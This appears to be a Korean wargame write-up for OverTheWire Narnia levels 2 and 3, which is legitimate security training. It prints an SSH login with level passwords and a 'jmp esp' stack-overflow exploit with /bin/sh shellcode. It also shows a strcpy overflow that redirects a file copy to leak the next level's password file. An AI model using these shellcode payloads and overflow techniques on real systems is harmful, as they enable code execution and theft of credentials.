ssh -p 2226 narnia3@narnia.labs.overthewire.org
pw: vaequeezee
(gdb) info proc map
process 13689
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x8048000 0x8049000 0x1000 0x0 /tmp/narnia3_tmp/narnia2
0x8049000 0x804a000 0x1000 0x0 /tmp/narnia3_tmp/narnia2
0xf7e10000 0xf7e12000 0x2000 0x0
0xf7e12000 0xf7fc3000 0x1b1000 0x0 /lib32/libc-2.24.so
0xf7fc3000 0xf7fc5000 0x2000 0x1b0000 /lib32/libc-2.24.so
0xf7fc5000 0xf7fc6000 0x1000 0x1b2000 /lib32/libc-2.24.so
0xf7fc6000 0xf7fc9000 0x3000 0x0
0xf7fd2000 0xf7fd4000 0x2000 0x0
0xf7fd4000 0xf7fd7000 0x3000 0x0 [vvar]
---Type <return> to continue, or q <return> to quit---
0xf7fd7000 0xf7fd9000 0x2000 0x0 [vdso]
0xf7fd9000 0xf7ffc000 0x23000 0x0 /lib32/ld-2.24.so
0xf7ffc000 0xf7ffd000 0x1000 0x22000 /lib32/ld-2.24.so
0xf7ffd000 0xf7ffe000 0x1000 0x23000 /lib32/ld-2.24.so
0xfffdd000 0xffffe000 0x21000 0x0 [stack]
(gdb) find /b 0xf7fc5000, 0xf7fc6000, 0xff, 0xe4
Pattern not found.
(gdb) find /b 0xf7fc3000, 0xf7fc5000, 0xff, 0xe4
0xf7fc4f97
1 pattern found.
(gdb) x/4xw 0xf7fc4f97
0xf7fc4f97: 0xfc5be4ff 0xfc5180f7 0x000000f7 0xfc5dfc00
(gdb)
0xff 0xe4 는 jmp esp이다 즉 esp로 eip를 옮기는 것이다. return address에 이 주소를 넣은 후 그 다음에 바로 shellcode를 넣으면 eip는 shellcode가 들어있는 esp를 가리키게 된다.
narnia2@narnia:/tmp/narnia2_tmp$ /narnia/narnia2 `python -c 'print "A"*132 + "\x97\x4f\xfc\xf7" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
$ id
uid=14003(narnia3) gid=14003(narnia3) groups=14003(narnia3)
$
/narnia/ 디렉터리에서 narnia2.c파일의 내용을 확인해보자
//narnia3.c
/*
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
*/
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char **argv){
int ifd, ofd;
char ofile[16] = "/dev/null";
char ifile[32];
char buf[32];
if(argc != 2){
printf("usage, %s file, will send contents of file 2 /dev/null\n",argv[0]);
exit(-1);
}
/* open files */
strcpy(ifile, argv[1]);
if((ofd = open(ofile,O_RDWR)) < 0 ){
printf("error opening %s\n", ofile);
exit(-1);
}
if((ifd = open(ifile, O_RDONLY)) < 0 ){
printf("error opening %s\n", ifile);
exit(-1);
}
/* copy from file1 to file2 */
read(ifd, buf, sizeof(buf)-1);
write(ofd,buf, sizeof(buf)-1);
printf("copied contents of %s to a safer place... (%s)\n",ifile,ofile);
/* close 'em */
close(ifd);
close(ofd);
exit(1);
}
소스 코드를 봤을 때 인자값으로 주어진 파일 내용을 읽어서 /dev/null에 복사하는 기능을 하는 것 같다.
read, write 함수에서 문자열 길이 검증을 하는 걸로 봐서, 파일 내용안에 shellcode를 사용할 수도 없을 것 같다.
파일을 여는 부분에서 strcpy(ifile, argv[1]); 구문이 있는데 이부분에서 스택 오버플로우가 발생하는 것을 확인할 수 있지만 ofile을 다른 값으로 덮어씌우면 프로그램이 종료되므로 ofile의 내용을 유지해야된다.
파일 내용을 읽어서 /dev/null파일에 복사하는 걸로 봐서 ofile을 읽을 수 있는 파일로 덮어씌운 후 인자값으로 /etc/narnia_pass/narnia4를 넘겨주면 password를 획득할 수 있을 것 같다.
공격하기 위해 필요한 정보는 아래와 같다.
ofile에 읽고 쓸 수 있는 파일명을 정확히 넣어야되기 때문에 ifile주소부터 ofile주소사이의 바이트 값을 알아내야된다.
gdb를 통해 필요한 정보를 수집하자
narnia3@narnia:/narnia$ mkdir /tmp/narnia3_tmp/
narnia3@narnia:/narnia$ cp narnia3 /tmp/narnia3_tmp/
narnia3@narnia:/narnia$ cd /tmp/narnia3_tmp
narnia3@narnia:/tmp/narnia3_tmp$ gdb -q narnia3
Reading symbols from narnia3...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
0x0804850b <+0>: push %ebp
0x0804850c <+1>: mov %esp,%ebp
0x0804850e <+3>: sub $0x58,%esp
~~
0x0804854d <+66>: mov 0xc(%ebp),%eax
0x08048550 <+69>: add $0x4,%eax
0x08048553 <+72>: mov (%eax),%eax
0x08048555 <+74>: push %eax
0x08048556 <+75>: lea -0x38(%ebp),%eax
0x08048559 <+78>: push %eax
0x0804855a <+79>: call 0x80483a0 <strcpy@plt>
0x0804855f <+84>: add $0x8,%esp
0x08048562 <+87>: push $0x2
0x08048564 <+89>: lea -0x18(%ebp),%eax
0x08048567 <+92>: push %eax
0x08048568 <+93>: call 0x80483c0 <open@plt>
~~
0x0804860d <+258>: push $0x1
0x0804860f <+260>: call 0x80483b0 <exit@plt>
End of assembler dump.
(gdb)
필요한 부분만 부분만 보면 strcpy부분에서 ifile의 주소를 확인할 수 있고, open부분에서 ofile주소를 확인할 수 있다.
main+79, main+93에 breakpoint를 걸고 프로그램을 실행 시키자.
(gdb) b *main+79
Breakpoint 1 at 0x804855a
(gdb) b *main+93
Breakpoint 2 at 0x8048568
(gdb) r test
Starting program: /tmp/narnia3_tmp/narnia3 test
Breakpoint 1, 0x0804855a in main ()
(gdb) x/4xw $esp
0xffffd648: 0xffffd670 0xffffd88c 0xffffffff 0xf7fc5000
(gdb) c
Continuing.
Breakpoint 2, 0x08048568 in main ()
(gdb) x/4xw $esp
0xffffd648: 0xffffd690 0x00000002 0xffffffff 0xf7fc5000
(gdb) p 0xffffd690 - 0xffffd670
$1 = 32
(gdb)
ifile의 주소는 0xffffd670, ofile의 주소는 0xffffd690인 것을 확인할 수 있다.
우리가 프로그램 실행시 지켜야될 조건은 아래와 같다.
위 조건을 만족하기 위한 인자와 스택의 구조는 아래와 같다.
ifile(32bytes) | ofile | buffer | ebp | return address |
---|---|---|---|---|
"/etc/narnia_pass//...//"(32byte) | "./narnia4" |
위 구조로 페이로드를 작성하고 exploit 해보자
페이로드는 아래와 같다. (ofile에는 상대주소가 사용되므로 페이로드 실행 주소에는 항상 ./narnia4가 있어야 된다.)
/narnia/narnia3 python -c 'print "/etc/narnia_pass////////////////./narnia4"'
narnia3@narnia:/tmp/narnia3_tmp$ touch narnia4
narnia3@narnia:/tmp/narnia3_tmp$ chmod 777 narnia4
narnia3@narnia:/tmp/narnia3_tmp$ /narnia/narnia3 `python -c 'print "/etc/narnia_pass////////////////./narnia4"'`
copied contents of /etc/narnia_pass////////////////./narnia4 to a safer place... (./narnia4)
narnia3@narnia:/tmp/narnia3_tmp$ ls -al
total 296
drwxr-sr-x 2 narnia3 root 4096 Jan 28 19:21 .
drwxrws-wt 7158 root root 278528 Jan 28 19:21 ..
-r-xr-x--- 1 narnia3 root 5676 Jan 26 15:20 narnia3
-rwxrwxrwx 1 narnia3 root 31 Jan 28 19:22 narnia4
narnia3@narnia:/tmp/narnia3_tmp$ cat narnia4
thaenohtai
�(.��P��T������ narnia3@narnia:/tmp/narnia3_tmp$
password를 획득했다.
id: narnia4
pw: thaenohtai